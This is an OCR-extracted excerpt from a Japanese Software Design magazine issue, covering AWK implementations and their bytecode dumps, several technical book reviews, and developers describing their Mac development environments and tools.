 ▼図8　AVDによるステップ実行
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（Old AWKまたはOriginal AWK）と呼ばれて
おり、Solarisには現在でもoawkコマンドが存
在します。nawkは、One True Awk（唯一正統
なるAwk）とも呼ばれます。

・gawk
　あらためてGNU AWK（gawk）について紹介
しておきます注14。gawkはその名のとおりGNU

によるAWKの実装で、現在最も活発に開発が
続けられているAWKです。今回取り上げた以
外にも、正規表現演算子の追加や switch文、
プロファイラ機能などさまざまな拡張が行われ
ています。Linuxでは多くのディストリビュー
ションでデフォルトのAWKとして採用されて
おり、そうでない場合でもたいていは公式パッ
ケージが用意されています。Linux以外でも多
くの環境で動作します。筆者が確認できた限り、
多バイト文字の処理に公式に対応している唯一
のAWKです。

・mawk
　nawk、gawkと並ぶ有名な実装として、
Michael Brennanによって実装されたMichael's 

AWK（mawk）があります注15。Debian系のLinux

などでデフォルトのAWKとして採用されてお
り、gawkほどではないものの若干の機能拡張
が行われています。しかし、mawkの特長は何
といっても高速な実行エンジンです。mawkは
実行エンジンとしてスタックマシンを採用して
おり、極めて高速に動作します。実は、gawk

も最近のバージョンでは実行方式を構文木直接
実行からスタックマシンに切り替えたのですが、
それでもmawkの速度には適わず、処理内容に
よっては倍以上の速度差が出ます。mawkは公
式には多バイト文字の処理には対応していない
のですが、木村浩一によってmawkを多バイト
文字の処理に対応させたmawk MBCSという

注14） http://www.gnu.org/software/gawk

注15） http://www.invisible-island.net/mawk

Windows向けの派生実装が存在します。また、
mawkをほかのアプリケーションに組み込める
ようにした libmawkという派生実装もありま
す注16。

・Jawk
　JVM上で動作する、AWK for Java（Jawk）と
いう実装もあります注17。Javaのコードを呼び出
すこともできるようです。

・lawk
　まだ開発途上のようですが、LLVM向けの
AWKコンパイラである lawkという実装もあり
ます注18。もっとも、lawkは実験を目的とした実
装で、実用を意図したものではないようです。

・POSIX AWK
　POSIX AWKについてもここで解説してお
きます。POSIX AWKというのはPOSIXが規
定しているAWKの仕様のことで、POSIX 

AWKという実装が存在するわけではありませ
ん。POSIX AWKはnawkをもとにしています
が、nawkと同一ではありません。ところで、
本Partも含めてAWK界隈では「gawkはさまざ
まな拡張が行われている」というような表現が
出てきます。この「拡張」というのは通常は
POSIX AWKに対する拡張を意味します。す
なわち、POSIX AWKが「標準のAWK」です。
gawkは、 --posixというオプションを付けて起
動するとPOSIX AWKとして動作します。

　AWKは言語仕様がコンパクトでありながら
も実用的で、歴史も長いことから、ほかにも無
数の実装が存在します。商用UNIXでは、ベン
ダ独自実装のAWKが搭載されていることもあ
ります。にもかかわらず、各実装とも基本的な
言語仕様には違いがほとんどないので、実装独

注16） http://repo.hu/projects/libmawk

注17） http://jawk.sourceforge.net

注18） http://lawk.sourceforge.net

http://www.gnu.org/software/gawk
http://www.invisible-island.net/mawk
http://repo.hu/projects/libmawk
http://jawk.sourceforge.net
http://jawk.sourceforge.net


70 - Software Design

第1特集
UNIXエンジニアのたしなみ

今からはじめるsed/AWK再入門
ワンライナー スクリプティングVS.

自の拡張を使わなければAWKのコードは高い
移植性を誇ります。実装独自の拡張も、既存の
文法と衝突しないようよく配慮されていますし、
ほとんどの実装のドキュメントにはPOSIX 

AWKとの差異やnawkとの差異がまとめられて
います。また、AWKの仕様はnawkができたこ

ろからあまり変化していませんので、昔に書か
れたコードを現在の環境で動かせたりします。
　このようにAWKのコードが高い可搬性を誇
る理由は、やはりAWKがUNIXの基本ツール
の1つであるからでしょう。AWKは起動スク
リプトなどのコアな部分でも使われていること

 ▼図9　gawkでのバイトコードのダンプ

$ cat 1.awk      ← 1.awkの内容を表示 
1
$ gawk -D -f 1.awk   ← gawkをデバッグモードで起動 
dgawk> dump  ← dumpコマンドでバイトコードを表示 

[      :0x2003fb44] Op_newfile          : [target_jmp = 0x2003f13c] [target_endfile = 
0x2003f150]
                                          [target_get_record = 0x2003f178]
[      :0x2003f164] Op_no_op            :
[      :0x2003f268] Op_after_beginfile  :
[      :0x2003f178] Op_get_record       : [target_newfile = 0x2003fb44]

        # Rule

[     1:0x2003fc4c] Op_rule             : [in_rule = Rule] [source_file = 1.awk]
[     1:0x2003f1a0] Op_push_i           : 1 [PERM¦NUMCUR¦NUMBER]
[      :0x2003f1dc] Op_jmp_false        : [target_jmp = 0x2003f1c8]
[      :0x2003f1f0] Op_K_print_rec      : [redir_type = ""]
[      :0x2003f1c8] Op_no_op            :
[      :0x2003f254] Op_jmp              : [target_jmp = 0x2003f178]
[      :0x2003f150] Op_no_op            :
[      :0x2003f240] Op_after_endfile    :
[      :0x2003f13c] Op_no_op            :
[      :0x2003f18c] Op_atexit           :
[      :0x2003f204] Op_stop             :
dgawk> q     ← qコマンドでgawkのデバッグモードを終了 
$ cat print.awk      ← print.awkの内容を表示 
{print}
$ gawk -D -f print.awk   ← gawkをデバッグモードで起動 
dgawk> dump  ← dumpコマンドでバイトコードを表示 

[      :0x2003fb44] Op_newfile          : [target_jmp = 0x2003f13c] [target_endfile = 
0x2003f150]
                                          [target_get_record = 0x2003f178]
[      :0x2003f164] Op_no_op            :
[      :0x2003f240] Op_after_beginfile  :
[      :0x2003f178] Op_get_record       : [target_newfile = 0x2003fb44]

        # Rule

[     1:0x2003fc4c] Op_rule             : [in_rule = Rule] [source_file = print.awk]
[     1:0x2003f1a0] Op_K_print_rec      : [redir_type = ""]
[      :0x2003f1c8] Op_no_op            :
[      :0x2003f22c] Op_jmp              : [target_jmp = 0x2003f178]
[      :0x2003f150] Op_no_op            :
[      :0x2003f218] Op_after_endfile    :
[      :0x2003f13c] Op_no_op            :
[      :0x2003f18c] Op_atexit           :
[      :0x2003f1dc] Op_stop             :
dgawk> q     ← qコマンドでgawkのデバッグモードを終了 
$
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ベテランが教えるsed/AWK
AWKプログラミングの深層

第4章
Part 3

から、あまり派手に仕様を変えることができな
かったのです。また、基本ツールであるがゆ
えにPOSIXという標準規格が存在したことも
大きいでしょう。もちろん、AWKの設計がも
ともと非常に優れていたことも忘れてはいけま
せん。
　これらのことを逆に考えれば、これから先も
AWKの仕様が大きく変わるということは考え
にくく、AWKをマスターしておけば、その知
識と技術はさまざまな環境で末永く役立つこと
でしょう。

　gawkとmawkがスタックマシンを採用して
いるのは前節でお話ししたとおりですが、両者
とも次のようにスタックマシンのバイトコード
をダンプすることができます。
　gawkではまず、-Dオプションを付けてデバッ
ガとして起動します。次に、デバッグコマンド
のdumpを実行するとバイトコードがダンプさ
れます（図9）。なお、gawkをデバッガモード
で使う際はワンライナーを対象とはできず、必
ず-fオプションでスクリプトファイルを指定し
なければなりません。そのため、ワンライナー
をダンプすることはできません。
　mawkでは-Wdumpオプションを指定すると、
プログラムの実行は行わずにバイトコードのダン

AWKのバイトコード

プのみ行います（図10）。mawkは、ワンライナー、
スクリプトファイルいずれもダンプできます。
　今回ダンプの例として使っている '1'、
'{print}'というコードは、いずれもcatコマンド
相当の動作をするコードで、実行するとまった
く同じ結果になります。しかし、gawk、mawk

の両者とも '1'のほうが、バイトコードのステッ
プ数が多くなっています。これは、'1'には暗
黙のアクションとして '{print}'が追加されてトー
タルでは '1{print}'というルールとして解釈され
るのに対し、'{print}'はパターンのないアクショ
ンのみの '{print}'というルールと解釈されるた
めです注19。AWKプログラムのチューニングや
デバッグを行う際に、バイトコードをダンプし
て参考にしてみるというのも良いでしょう注20。
　ところで、mawkとgawkのバイトコードを
見比べると、シンプルで高速なmawk、多機能
なgawkという違いを感じとっていただけるの
ではないかと思います。ﾟ

注19） ここで、最適化で1は消えないのかと思った方もいるかも
しれません。実際のところ、ほとんどのAWKの処理系は
最適化があまり進んでいません。単にマンパワーが足りな
いだけなのか、ほかの理由があるのかはわかりませんが、
現実的なAWKの使われ方を考えれば、コマンドラインか
ら一瞬だけ実行されるといった場合も多いため、最適化に
掛けた時間を実行時にペイできるのか微妙ですし、もとも
と言語仕様が小さいことが速度と安定性につながっている
AWKにはあまり複雑な最適化機構は必要ないのかもしれ
ません。

注20） 今回の例の場合には、たとえバイトコードのステップ数が
多くても通常は '1'を使うべきです。コンピュータより人
間のほうが圧倒的に遅いため、タイプ数を減らしたほうが
早く処理が終わるからです。

 ▼図10　mawkでのバイトコードのダンプ

$ mawk -Wdump '1'    ← -Wdumpオプションでバイトコードを表示 
MAIN
000 omain
001 pushd       1
003 jz          009
005 pushint     0
007 print
009 ol_gl
$ mawk -Wdump '{print}'      ← -Wdumpオプションでバイトコードを表示 
MAIN
000 omain
001 pushint     0
003 print
005 ol_gl
$



72 - Software Design

　雑誌やインターネットのニュースでは、デー
タサイエンティストに関する記事が多く見られ
るようになった。しかし、実際のデータサイエ
ンティストに必要な知識がまとめられた情報は
まだ少ない。本書は、R言語の基礎、Pythonで
の機械学習入門などのデータ分析を支えるエン
ジニアリングの記事に加え、データサイエンティ

ストになるために必要なスキルの解説やマーケ
ティングに応用されるデータ分析の解説など、
非エンジニア向けの記事も多く含まれた内容と
なっている。ほとんどの記事が現役で活躍して
いるデータサイエンティストによって執筆され
ており、データ分析に直結する現場のヒントが
散りばめられている。

データサイエンティスト養成読本編集部【編】
B5判、 152ページ／価格＝2,079円（税込）／発行＝技術評論社
ISBN＝978-4-7741-5896-9

　Raspberry Piは手軽に購入できる価格（2013
年7月時点でType B：3,300円）で、さらにLinux
ベースのOSからGPIO（汎用入出力）を制御で
きるため、電子工作ファンのみならず、ソフト
ウェア系エンジニアからも注目されている。本
書の前半では基本的な設定手順が、無線LANや
GPIO接続など知らないとハマってしまう部分

の補足を加えながらていねいに解説されおり、
後半では応用編として、2台のRaspberry Piを
WebサーバとDBサーバに分離する方法や、温
度センサと音声合成ソフトを使って「喋る温度
計」の開発方法など、実用的な事例が取り上げ
られている。Raspberry Piと本書で初めてのハー
ドウェア制御に挑戦してみるのはいかがだろう。

Japanese Raspberry Pi Users Group 【著】
B5変形判、 256ページ／価格＝2,499円（税込）／発行＝技術評論社
ISBN＝978-4-7741-5855-6

　AWKの開発者であるワインバーガー氏らに
よって書かれた解説書。AWKを学び実務で役立
てたいと考えるなら、AWKの特徴、文法解説、
データ処理の実例などが書かれた1～3章を読
むだけでも十分だろう。4章以降では、簡単な
データベースやアセンブラの作成を通じて本格
的なAWKプログラミングを学べる。本書のサン

プルプログラムは、前に例示したコードをもと
に、新たに解説する部分に関する変更を加えて
示すということが多い。つまり、1つのコード
を徐々に成長させていくような例示の仕方をし
ている。このとおりに端末上で実践するだけで
も、「書いたら試す」を繰り返すことになり、ワ
ンライナーを書くよい特訓になりそうだ。

A.V.エイホ、 P.J.ワインバーガー、 B.W.カーニハン【著】／足立 高徳【訳】
A5判、 320ページ／価格＝3,990円（税込）／発行＝ユニバーサル・シェル・プログラミング研究所
ISBN＝978-4-904807-00-2

プログラミング言語AWK

Software Design plusシリーズ

データサイエンティスト養成読本
［ビッグデータ時代のビジネスを支えるデータ分析力が身につく！］

　超初心者向けに、2日間で学べる内容という
ことでかなり割り切った学習内容だが、CUIで
の操作、ファイル管理、ユーザ管理、ソフトウェ
アのインストール、Apacheの起動など、サー
バ管理のさわり部分を一通り体験できる。実習
環境はVirtualBox上でCentOSの仮想マシンを
起動するだけで用意できる。Linux環境準備に

さえ手間取りがちな初心者にはありたいだろう。
Linuxサーバの入門書といえば、400ページを超
える本が多い中、240ページという分量は手に
取りやすく、本格的な専門書で学ぶ前の足がか
りとしてちょうど良い。本書をクリアしたら、
その知識を実務で使えるレベルに昇華させるた
めに、さらに一歩上の専門書に進んでほしい。

中島 能和【著】
B5変形判、 240ページ／価格＝2,310円（税込）／発行＝秀和システム
ISBN＝978-4-7980-3816-2

たった2日でわかるLinux
Cent OS 6.4対応

Software Design plusシリーズ

Raspberry Pi［実用］入門
̶̶手のひらサイズの ARM/Linuxコンピュータを満喫！



 オススメ   Mac OS Xと iPhoneと組み合わせて、さらに効率アップ！（和田裕介）

　プライベートも含めて iPhoneも仕事を捗らせる道具の1つです。iOS 7の話題が出
てきていますが、iOS 6と iPhone 5の組み合わせは「サクサク」動くって意味でも非常
に熱い。今は仕事で使うメールもすべてGmailで見られるようにしていて、iPhone
のGmailアプリケーションでよく閲覧しています。メールが来るたびに通知が表示さ
れるように設定していて、iPhoneがよく「ブルブル」震えるのですが（笑）、仕事仲間
とのやりとりに対して即座にレスポンスを返せるのが魅力です。ストレスがないので
慣れて来たフリック入力で結構な長いメールも書けたりしますね。メールのレスポン
スが早いとチームとしての意識が高まるので、iPhoneからのメール返信ができるこ
とは非常にありがたい。
　また、開発者とのコミュニケーションという意味では IRCに接続できる「LimeChat」
の iOS版の出来が良いですし、「Day One」というノートアプリケーションもOS X版と
同期ができて重宝しています。

最近使いだしたCIサービス「Travis CI」
からのメールも通知されます

秋まで待てない！ iOS 7＆Mavericks

9人9色のデスクトップ拝見＋新OS傾向と対策

思わずマネしたい、効率アップの一工夫

開発するなら
やっぱり　　　ですよね？Mac

第2特集

iOS 7＆Mavericksが今秋リリースされます。でもその前に、最前線で活躍されているプログ
ラマ・エンジニアの皆さんの開発現場（デスクトップ）を紹介させていただきました。
プロの一工夫を参考に、次のOSへの期待を込めてバージョンアップ！

❶ MacBookを持って開発しながら旅をする？（和田裕介）  .......................................................................................................  74
❷ ファイルの同期にこだわって仮想環境も構築（大野渉）  ........................................................................................................  76
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❽ 気持ちよくコーディングが行えるコンピュータ（森拓也）  ..................................................................................................  88
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Part1 Mac使いの開発者の手の内「デスクトップ拝見！」

Part2 秋まで待てない！iOS 7＆Mavericksアプリ開発へのプロローグ（中野洋一）
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　独立系で仕事をしている筆者
は、なかなか海外旅行へ行く機
会がありませんでした。まぁ旅
行中にサーバが止まったら、ま
ずいとかそういう制約もありま
すが、要は「キッカケがない」の
が主な理由です。ところがここ
最近になって台湾に4日、USへ
9日と立て続けに出張が続いて、
世界を見て回るのも楽しいもの
だなぁと感じているところです。
　その海外出張で驚いたことは、
当然と言えば当然の話ですが、
現地で使えるモバイルWifi ルー
タを羽田／成田で借りて持って

　独立系で仕事をしている筆者

俺がノマドワーカーだ！
いけば海外でも仕事ができると
いう点です。とくにこれから紹
介 す るMac OS Xを 積 ん だ
MacBookはそれ1つで開発がで
きるオールインワンな環境です
のでリュックサックに入れて背
負っていけば、ふらっと立ち寄っ
たサンフランシスコのやたら閑
散としたカフェでも作業ができ
ます。また、Wifi ルータ経由で
iPhoneをネットワークにつなげ
ば見知らぬ土地で地図アプリケー
ションが大活躍してくれます。
　昨今「ノマドワーキング」とい
う言葉がもてはやされていまし
て、筆者自身も喫茶店で仕事を
するのはよくあります。この言
葉が一般的に解釈される「近場

の気に入ったカフェで仕事をし
て、自分は自由よ」という雰囲
気もよいですが、海外で仕事が
できてしまうことを知ると「グ
ローバルノマド」なんていうの
もアリだなぁって思います。ハ
イパーメディアクリエータとい
う肩書きで著名な高城剛氏は世
界中を旅していて、何をやって
いるのだかわかりませんが、楽
しそうにしています。我々エン
ジニアもMacBookを持って世
界中を旅しながら開発すること
も悪くないなと感じます。

　ちょうど1ヵ月くらい前に比較　ちょうど1ヵ月くらい前に比較

筆者の開発環境

筆者のデスク周り。最近、鎌倉から引っ越した新しい仕事場。最低限の環境が整って
きた

開発するならやっぱりMacですよね？
9人9色のデスクトップ拝見＋新OS傾向と対策第2特集

MacBookを
持って開発しながら
旅をする？

氏名  和田裕介（わだ ゆうすけ）
TwitterID  @yusukebe
所属  ㈱ワディット代表取締役

1981年生まれ。Webアプリ
ケーションエンジニア。未踏
ユース準スーパークリエータ。
株式会社オモロキではCTOと
してWebアプリケーション開
発を担当。代表作は「君のラ
ジオ」。また、人気お笑いサ
イト「ボケて」のシステム開発
を務めている。

1
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール
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的新しかったMacBook Pro 13

インチで作業をしていたら、筆
者のキーボード打鍵が強すぎる
からかrキーを破壊してしま
い（笑）修理に1週間かかることを
聞かされ、この際だからと以前
から気になっていたMacBook 

Pro 13インチの「Retinaディス
プレイモデル」を「えいやっ」と購
入しました。今まさにこの原稿
を書いているわけですが、
Retinaディスプレイだとフォント
がきれいに見えて非常に満足感
がありますね。
　開発時に使うソフトウェアは
Webアプリケーションの検証や
調べものをするのに各種Webブ
ラウザといわゆる「ターミナルア
プリケーション」としてはMac 

OS X標準の「Terminal.app（ター
ミナル .app）」を使っています。
iTerm2も人気があるようですが
とくに必要性を感じないので使っ
ておりません。またエディタは
大学生のときの授業で強制的に
使わせられた経験から引き続い
て emacsを 利 用 し て い て、

Terminalの中で「emacs」コマン
ドを叩いてそこでプログラムを
書いています。
　開発のためのミドルウェアの
インストールはHomebrewにお
任せしています。一度セット
アップしたら、

$ brew install mysql

と打つだけでMySQLのソース
の取得からビルド、インストール
までよしなにやってくれるので便
利ですね。また、筆者はPerlで
Webアプリケーションを書くこと
が多いのですが、Perlそのもの
のバージョン管理に「Perlbrew」
を、またモジュールのインストー
ラには「App::cpanminus」を、プロ
ジェクトごとのライブラリ管理に
「Carton」を使ってます。先日
Perl 5の安定版である最新バー
ジョン「5.18.0」がリリースされま
したが、Perlbrewを利用すると、

$ perlbrew install perl-5.18.0

とすれば自分のホームディレク
トリ配下でビルドしてくれてそ

の後設定をすれば「5.18.0」へス
イッチできます。またPerlの
クラスビルダーの一種である
「Mouse」をインストールしたけ
れば「App::cpanminus」の cpanm

コマンドを使い、

$ cpanm Mouse

とすれば良いでしょう。Carton

はまだAPIが不安定なリリー
ス状況ですので詳細の解説を避
けますが、RubyのBundlerと
似ていて、プロジェクトで必要
なCPANライブラリなどの一
覧を記載して実行するとプロ
ジェクトの配下のディレクトリ
にライブラリがインストールさ
れ、そのモジュールとコアモ
ジュールだけを使ってアプリ
ケーションを立ち上げることが
できます。ライブラリのバー
ジョンの同一性まで面倒を見て
くれるので、うまくやればまっ
たくそれぞれ同じバージョンの
ライブラリを使った環境を構築
することが簡単です。ﾟ

Part1

ターミナル内でemacsを起動している様子。Mac OS X標準の
Terminal.appを使っているが、複数のペインを開いて移動して
いくのに「tmux」を使っています。「screen」も似たソフトウェ
アなのですが、ブラウザで言う「タブ」のようなものを作って簡
単に移動させることができて重宝します

Macのデスクトップ。基本的には何も置きません。普段はこの
MacBook Pro 13インチ Retinaモデルで何から何までの作業を
しています。以前は「ディスプレイが広くなくちゃ嫌だ」と27イ
ンチのものと19インチを組み合わせて使っていたことがありま
すが、慣れさえすれば僕の作業範疇だと13インチでも十分です

❶MacBookを持って開発しながら旅をする？
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9人9色のデスクトップ拝見＋新OS傾向と対策

　筆者がWindowsからMacに切
り替えるきっかけとなったのは、
iPhoneの購入でした。その操作性、
デザインに惹かれ、そして感覚的
ではあるのですが、使っていてと
にかく楽しかったのです。ちょう
どデスクトップPCの購入を考え
ていたのでiMacを購入しました。
使ってみると、やはりiPhoneと
同じくエレガントでした。
　では環境についてご紹介しま
しょう。iMacを購入してから後、
MacBook Airを購入し、今は
家でも外でもMacを使ってい
ます。ただ2台持ちだとどうし

　筆者がWindowsからMacに切

家でも外でもMacで
開発

ても、Mac間でのデータの同期
が問題になってきます。その解
決策の候補として有力なのが、
おそらくクラウドサービスの利
用 で し ょ う。当 時 す で に
Dropbox、SugarSync、他にも
さまざまなクラウドのオンライ
ンストレージサービスがありま
した。ただ筆者は、同じLAN

内で同期をとることがほとんど
だったので、インターネットを
使って同期を取るオンラインス
トレージサービスに効率の悪さ
を感じ、候補から外しました。
そして要求を満たすソフトウェ
アを探した結果、GoodSync注1

というアプリにたどり着き、現
在でも愛用中です。1台ごとに

ライセンスが必要なので、筆者
は iMacの方に導入して、外出
前と帰宅後に同期を行っていま
す。
　新しくプロジェクトが始まる
とプロジェクト専用のディレク
トリを作成して、そのプロジェ
クトディレクトリをまるごと2

つのMacで同期するように設
定しています。プロジェクトが
終了すると古いプロジェクト
ディレクトリはMacBook Air

から削除してしまうので、これ
で、Macbook Airのハードディ
スク容量を節約しています。
　また、プロジェクトディレク
トリには、ドキュメントだけで
なくソースコード、さらには開

注1） http://www.goodsync.com/

デスクトップをお見せしましょう……と言ってもかなり寂しいですが。仕
事をしているときはドキュメントや開発環境でデスクトップ上がだいぶ埋
め尽くされます。ただMacには標準で仮想デスクトップ環境として
Spacesが用意されているので、効率よく使っています

開発するならやっぱりMacですよね？
第2特集

ファイルの同期に
こだわって
仮想環境も構築

氏名  大野渉（おおの わたる）　所属  Starlight 
& Stormメンバー、日本Springユーザ会
スタッフ　開発者歴 14年　Mac使用歴  3年
使用機種  iMac 27イ ン チ（Mid2010）、MacBook 
Air 11インチ（Mid 2011）

オブジェクト指向設計／実装を中心にコ
ンサルタント／講師として活動中。著書
に『Spring 3 入門』（共著）。Macユーザそ
して愛妻家エンジニアとして、現在の目
標は奥さんの環境をMacに移行すること
と結婚5周年記念の沖縄旅行を実現する
こと。

2
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール

http://www.goodsync.com/
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発環境の設定ファイルなどもま
とめて入れていますし、iMac

とMacBook Airでディレクト
リ構造も完全にあわせているの
で、家と外で、ほぼ同じ環境で
開発ができています注2。
　ちなみにMacにはデフォルト
のバックアップアプリとして
Time Machineが入っています。
自分は定期的に（というかほぼ毎
日）iMacのバックアップをTime 

MachineでポータブルHDDに
とっています。このポータブル
HDDを外出先に持ち運べば、
MacBook Airと同期をとってい
ない iMacのファイルでもいつで
も参照することができます。

　あとは実行環境について触れ
ておきます。プログラムを作っ
て動作確認、単体テストをする
く ら い で あ れ ば Eclipseで
Tomcatを実行すれば十分だっ
たりするのですが、もう少し本
番に近い環境、たとえばLinux

　あとは実行環境について触れ

ソフトウェア開発環境と
仮想環境の構築

で検証したい、Webサーバ／
アプリケーションサーバ／デー
タベースサーバを立ち上げて3

ティア構造で動作検証をしたい、
さらにはクラスタリングの設定
を確認しておきたいなんて場合
もあります。そんなときもやは
りクラウドで、というのが現在
の潮流です。ただクラウドの環
境はインターネット上の環境な
わけですから、オンラインスト
レージサービスと同様に、効率
が悪いのが気になりますし、ま
た IaaSを利用する場合は特に
セキュリティの設定に気を使う
必要があります。あとは多少な
りともコスト（お金）もかかりま
すし、個人で気軽に検証したい、
というときには、ちょっと敷居
が高く感じます。
　そこで自分はMacローカル
に仮想環境を構築します。仮想
環境ソフトウェアはVMware 

Fusion Professional注3を使用
しています。
　iMacを買った際はちょうど
最新版のParallels Desktop注4

がリリースされて安売りセール
をしていたので、そちらを購入
したのですが、あるプロジェク
トでVMware形式の仮想環境イ
メージを使う必要があったこと、
そしてVMware Fusionは個人
利用であれば1ライセンスで複
数のMac環境に導入できるこ
とが決め手となってこちらを購
入しました。
　さて具体的な環境構築につい
てですが、とくに時間をかけて
構築する、ということはまった
くありません。プロジェクトで
環境が必要になったときは、あ
らかじめ用意しておいたイメー
ジファイルを複製するだけで、
あとは起動してプロジェクト固
有の設定をすること、それだけ
で済みます。
　また、仮想環境はファイルと
し て 保 存 さ れ ま す の で、
MacBook Airの方で動かした
いときは、GoodSyncを使って
同期をとれば、その環境を丸ご
と移行することもできます。
ﾟ

注2） すべての設定を引き継いでいるので、MacBook AirでEclipseを開くと、iMacの設定を引き継いでいるためにウィンドウがとんで
もなく大きくてちょっと驚いたりすることもあるのですが……。なので場合によっては同期／非同期を柔軟に指定する場合もあり
ます。

注3） http://www.vmware.com/products/desktop_virtualization/fusion/professional.html
注4） http://www.parallels.com/products/desktop/

Part1
❷ファイルの同期にこだわって仮想環境も構築

複数の仮想環境を起動
基本的な環境としてWebサーバ、アプリケーションサーバ、
DBサーバに関してはLinux仮想環境イメージのテンプレート
をあらかじめ作ってローカルに用意してあります。あとは複製
して起動するだけで基本的な環境構築の完了です

Mac間の同期
GoodSyncは変更のあった差分だけの同期に対応しているので、
変更のあったファイルだけを効率よく同期してくれますし、
Macのファイル共有プロトコルであるAFP、他にもSMBや
FTP、クラウドサービスとの同期も可能ということで、なかな
か機能の豊富な同期ツールです

http://www.vmware.com/products/desktop_virtualization/fusion/professional.html
http://www.parallels.com/products/desktop/
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　こんにちは、ステラートとい
う会社の代表を務めている横山
彰子（@acotie）と申します。
　現在は知り合いのゲーム会社
と一緒にソーシャルゲームの運
用・開発を行っています。
　2007年の秋ころ自宅用に黒
いMacBookを導入し、Windows

のノートPCから移行しました。
フォントの美しさに感動して、
それ以降は仕事でもMacでの
開発を続けています。
　基本的にインストールしてい
るアプリケーションや開発用の

　こんにちは、ステラートとい

はじめに
プラグインは少ないほうだと思
います。Macアプリケーション
も iOSアプリケーション同様
に、いろいろ新しいものを試し
てみて使わなければすぐ削除す
るといったことを繰り返してい
ます。

　フォントはなるべく小さくして
Terminal.appを使っています。
これは海外のギークな人たちの
影響を受けているかもしれません。
そしてプログラミング用に最適
なフォントと一時期話題になりま
した、RictyをHomebrewからイ

　フォントはなるべく小さくして

ターミナルソフトウェア

ンストールして使っています。
　仮想端末管理ソフトウェアは
GNU Screenから tmuxに移行
しました。ランチャーアプリ
ケーションはAlfredで、以前
はQuick Silverを使っていまし
た。パッケージ管理ツールは
Homebrewで、以前はMacports

を使っていました。このあたり
は個人の好みやそのタイミング
で最適なツールが登場して、
ちょっとした流行のようなもの
もあると思います。

　仕事でVMware Fusion5を　仕事でVMware Fusion5を

仮想環境対応

筆者の作業環境。基本は13インチMacBook Air、外部ディスプレイにも接続しデュ
アルディスプレイで作業を行う。1つのターミナルウィンドウの中に tmuxでペイン（画
面）を分割して作業しています

開発するならやっぱりMacですよね？
第2特集 9人9色のデスクトップ拝見＋新OS傾向と対策

シンプルだけど
多機能を実現する
一工夫

氏名  横山彰子（よこやま あきこ）
TwitterID  @acotie
所属  ㈱ステラート 代表
Mac使用歴  6年 開発者歴  8年

職歴は、Webサーバサイドの
プログラマ、Webアプリケー
ションエンジニア、システム
アーキテクチャ、スマホのゲー
ム開発、ソーシャルゲーム開
発など。

3
Mac使いの
開発者の手の内
「デスクトップ拝見！」

プロフィール
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使っています。Windows 7で検
証・開発環境を作ったり、
CentOSでローカルのUNIX環
境用のVMを作ったりしていま
す。
　あとは仕事用に、MAMPで
開発環境も使っています。
/Applications/MAMP/以下に、
Mac＋Apache＋PHP＋MySQL

の環境が簡単に作れてしまいま
す。定期的にスナップショット
を取れるため、MacBook本体
を汚さないので自由に使うこと
ができます。ローカルだけでな
くEC2などVPSもいくつか契約
しており、外出先からSSHでロ
グインできるようにしています。

　エディタはもともとVimを使っ
て い て、MacVimや MacVim-

Kaoriya や、Sublime Text2、
Coda2なども使っていましたが、
XcodeのプロジェクトはXcode、
それ以外の部分に関してはVim

を使っていることが多いです。
　VimやSublime Text2の良い
ところは、設定ファイルを1つ
作ってしまえば、どの環境でも
すぐに同じ環境が作れる点です。
そのほかのdotfi lesと呼ばれる
設定ファイルも、まったく新し
いサーバやマシンのセットアッ
プが必要な場合にdotfi lesをコ
ピーしてしまえば、すぐに自分
の環境ができてしまいます。
DropboxやBitBucket、GitHub

などどこでも参照できるように
ひな形を作ってしまって参照で

　エディタはもともとVimを使っ

テキスト処理

きるようにしています。

　binaryage社のTotalSpaces、
TotalTerminalは便利で使って
います。旧Spacesをさらに細
かく便利にカスタマイズでき、
Terminalもホットキーを設定
して上や下からふわっと出てく
るようにアニメーションさせた
りカスタマイズできます。
　また、USキーボードのため、
有名なKeyRemap4Macbookと
いうアプリケーションで左右の
コマンドキーを空打ちでカナ／
英数の変換をマッピングさせて、
VI Modeをオンにしてすべて
のスクロールをJ Kでできる
ようにしています。

　binaryage社のTotalSpaces、

その他いろいろな工夫

　iOSでのゲーム開発において、
使用する画像をテクスチャアト
ラスへ作成するパッケージング
ツールとしてTexture Packer

が便利です。静止画やアニメー
ションさせたい画像を1つにま
とめて、かつ減色や圧縮フォー
マットまで選択し、フレーム
ワーク用のテクスチャファイル
として吐き出してくれます。
　たまに Isolatorというアプリ
ケーションで集中して作業する
ような雰囲気を作ったり、
Steamアプリケーションでゲー
ムを買って遊んだりしています。
iOS/Android用のゲームも出
ていますが、Triple Townや
Little Infernoやバリバリ3Dの
FPSゲームのTeam Fortress 

2というゲームが好きです。ﾟ

Part1
❸シンプルだけど多機能を実現する一工夫

これはSteam.
appで買った
Triple Town。
Indie Game:
The Movie と
いうドキュメ
ンタリー映画
も購入できて、
超オススメで
す

筆者のデスクトッ
プをキャプチャし
た画像。基本的に
デスクトップに余
分なファイルを置
かずに使用してい
ます
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9人9色のデスクトップ拝見＋新OS傾向と対策

　「Macを仕事で使っている人
＝グラフィックデザイナ」と、思
う人が大多数だと思いますが、
そんなことはありません。ネッ
トワークエンジニアの会合に参
加するとMac（とくにMacBook 

Air）を使っている人が、日に日
に多くなっているのを感じます。
その理由として、ネットワーク
エンジニアは意外と業界の会合
などが多いので、持ち運びに便
利な薄くて軽いMacが好まれる
のではないかと推測しています。
　筆者は、自宅では iMac 21.5

インチ（Late 2009、SSD自己換

　「Macを仕事で使っている人

エンジニア好みの
携帯性のよさ

装注1）、仕事では MacBook Air 

11インチ（Mid 2012）を使ってい
ます。iMacを使う一番の理由は
デザインの良さです。リビング
に置いても、ほかのインテリアの
邪魔にならず、すっと溶け込み
ます。操作感としてはWindows

に比べもともとOS Xは起動が速
いのですが、筆者のiMacはスペッ
ク的には古くてもHDDをSSDに
換装したので起動も速く、ロジッ
クボードが壊れない限りはまだ
まだ現役で使えそうです。

　ネットワークエンジニアの必
須アイテムとも言えるものに
　ネットワークエンジニアの必

ご用達の「シリアル変
換ケーブル」

USB-シリアル変換ケーブルが
あります。筆者が使用している
のは、Windows時代から使って
い る「シ グ マ APO URS232-2

（RS232C to USBコンバーター
ケーブル）」です。この製品は
2011年10月に製造会社が倒産
し、製造中止です。Mac対応の
USBシリアル変換ケーブルもあ
りますが、標準では対応してい
ないので、チップメーカーの
WebページからMac用のドライ
バをダウンロードしインストール
注2します。インストール完了後は、
ターミナルソフトから次のコマン
ドで接続できるようになります。

screen /dev/tty.usbserial 9600
（※ボーレート9600の場合）

